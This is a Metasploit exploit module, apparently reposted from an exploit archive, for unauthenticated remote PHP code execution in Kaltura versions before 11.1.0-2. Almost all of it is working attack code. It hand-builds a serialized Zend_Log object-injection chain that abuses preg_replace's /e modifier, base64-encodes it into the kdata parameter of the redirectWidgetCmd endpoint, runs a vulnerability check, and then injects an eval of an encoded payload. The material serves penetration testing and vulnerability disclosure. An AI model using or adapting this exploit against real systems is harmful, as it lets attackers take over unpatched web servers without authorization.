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Kaltura Remote PHP Code Execution

Posted on 22 September 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Kaltura Remote PHP Code Execution',
'Description' => %q{
This module exploits an Object Injection vulnerability in Kaltura.
By exploiting this vulnerability, unauthenticated users can execute
arbitrary code under the context of the web server user.

Kaltura has a module named keditorservices that takes user input
and then uses it as an unserialized function parameter. The constructed
object is based on the SektionEins Zend code execution POP chain PoC,
with a minor modification to ensure Kaltura processes it and the
Zend_Log function's __destruct() method is called. Kaltura versions
prior to 11.1.0-2 are affected by this issue.

This module was tested against Kaltura 11.1.0 installed on CentOS 6.8.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Security-Assessment.com', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['EDB', '39563']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Mar 15 2016',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Kaltura installation', '/'])
]
)
end

def check
r = rand_text_alpha(15 + rand(4))
cmd = "print_r(#{r}).die()"

p = ""
p << "a:1:{s:1:"z";O:8:"Zend_Log":1:{s:11:"0*0_writers";"
p << "a:1:{i:0;O:20:"Zend_Log_Writer_Mail":5:{s:16:"0*0_eventsToMail";"
p << "a:1:{i:0;i:1;}s:22:"0*0_layoutEventsToMail";a:0:{}s:8:"0*0_mail";"
p << "O:9:"Zend_Mail":0:{}s:10:"0*0_layout";O:11:"Zend_Layout":3:{s:13:"0*0_inflector";"
p << "O:23:"Zend_Filter_PregReplace":2:{s:16:"0*0_matchPattern";s:7:"/(.*)/e";"
p << "s:15:"0*0_replacement";s:#{cmd.length.to_s}:"#{cmd}";}s:20:"0*0_inflectorEnabled";"
p << "b:1;s:10:"0*0_layout";s:6:"layout";}s:22:"0*0_subjectPrependText";N;}}};}"

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),
'vars_get' => {
'kdata' => Rex::Text.encode_base64(p)
}
)

if res && res.body.include?(r)
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
cmd = "print_r(eval(base64_decode('#{Rex::Text.encode_base64(payload.encode)}'))).die()"

p = ""
p << "a:1:{s:1:"z";O:8:"Zend_Log":1:{s:11:"0*0_writers";"
p << "a:1:{i:0;O:20:"Zend_Log_Writer_Mail":5:{s:16:"0*0_eventsToMail";"
p << "a:1:{i:0;i:1;}s:22:"0*0_layoutEventsToMail";a:0:{}s:8:"0*0_mail";"
p << "O:9:"Zend_Mail":0:{}s:10:"0*0_layout";O:11:"Zend_Layout":3:{s:13:"0*0_inflector";"
p << "O:23:"Zend_Filter_PregReplace":2:{s:16:"0*0_matchPattern";s:7:"/(.*)/e";"
p << "s:15:"0*0_replacement";s:#{cmd.length.to_s}:"#{cmd}";}s:20:"0*0_inflectorEnabled";"
p << "b:1;s:10:"0*0_layout";s:6:"layout";}s:22:"0*0_subjectPrependText";N;}}};}"

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php/keditorservices/redirectWidgetCmd'),
'vars_get' => {
'kdata' => Rex::Text.encode_base64(p)
}
)
end
end

 

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